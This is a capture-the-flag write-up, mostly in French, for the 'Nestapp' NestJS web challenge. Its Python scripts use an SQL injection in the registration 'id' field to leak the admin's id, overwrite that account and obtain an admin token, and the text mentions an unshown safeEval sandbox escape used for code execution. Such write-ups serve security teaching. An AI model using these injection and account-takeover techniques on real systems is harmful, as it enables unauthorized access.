title: Nestapp
category: Web
difficulty: Hardcore
point: 328
author: Eteck#3426
description:
In order to create an API with an auth system, a developer used NestJS. He tried to follows the doc and all the good practices on the official NestJS website, and used libraries that seems safe.
But is it enough ? Your goal is to read the flag, located in /home/flag.txt
Solution
Installation local
On a à notre disposition le code source de l’application. Commençons par installer les packages en local.
On voit que des vulnerabilités sont détectées dans certains packages, récupérons plus de détails :
Apparement safeEval
est vulnérable, et si c’est exploitable c’est un moyen d’aller récupérer /home/flag.txt
. Regardons donc comment cette fonction est utilisée :
safeEval
est utilisé avec le body d’un POST /exec
mais il faut avoir le pseudo admin
pour cela.
Sauf qu’en regardant la définition de la table users
, on voit que le pseudo est unique donc impossible de créer un compte avec le même pseudo :
Injection SQL
En se baladant un peu plus dans le code, on aperçoit une injection SQL :
Cette méthode est appelée via la requête GET /infos
:
Modification de l’ID
Ainsi en modifiant notre id
, il est possible de réaliser l’injection. Ca tombe bien puisque la méthode register
, pour créer un compte, ne fait aucune vérification sur le body qu’elle reçoit :
Et la base de données est directement mise à jour :
On peut donc essayer forcer la valeur de id
:
Ca fonctionne !
Récupération du compte admin
La stratégie est maintenant la suivante :
- Récupérer l’
id
du compteadmin
- Créer un nouveau compte avec cet
id
pour écraser le pseudo et le mot de passe du compteadmin
- Créer un nouveau compte
admin
avec notre propre mot de passe puisque le pseudo sera à disponible
Il faut tout de même noter que le champ id
est prévu pour un UUID, soit 36 caractères maximum pour faire passer notre injection.
Passons en python pour faire cela :
Etape 1 : récupération de l’id
from requests import get, post
from uuid import uuid4
URL = "http://13.37.17.31:54246"
token = post(f"{URL}/auth/register", data={
"pseudo": str(uuid4()).replace('-', ''), # random 32 chars username
"password": "password",
"id": "' OR pseudo = 'admin"
}).json()['access_token']
response = get(f"{URL}/infos", headers={
"Authorization": f"Bearer {token}"
}).json()
print(response)
{'username': 'admin', 'id': '52ae92d7-30c7-46df-8ee4-693056e3b21a'}
Etape 2 : écrasement du compte
from requests import post
from uuid import uuid4
URL = "http://13.37.17.31:54246"
ID = '52ae92d7-30c7-46df-8ee4-693056e3b21a'
status_code = post(f"{URL}/auth/register", data={
"pseudo": str(uuid4()).replace('-', ''), # random 32 chars username
"password": "password",
"id": ID
}).status_code
print(status_code)
201
Etape 3 : création du nouveau compte admin
from requests import post
URL = "http://13.37.17.31:54246"
token = post(f"{URL}/auth/register", data={
"pseudo": "admin",
"password": "password"
}).json()['access_token']
print(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwc2V1ZG8iOiJhZG1pbiIsInN1YiI6ImUxOWRiNDUwLTU1NWEtNGM1ZC05YjZjLTBmMDljMzhkMzYxYSIsImlhdCI6MTY4MzcxNzMwNywiZXhwIjoxNjgzNzI0NTA3fQ.dZxjtCGKItMTM8u5nt-a93s5dG4ZqwLRODmSYNMdZDs
Et voilà, nous avons bien un token avec le pseudo ‘admin’ :
Bypass safeEval et RCE
En cherchant les références données par npm, on tombe sur des payloads déjà prêts. Ici j’utilise celui-ci que j’ai un peu adapté :
FLAG : PWNME{g0D_jOB!_S4Fe-ev41_w4S_N0t_WeRY_2Af3}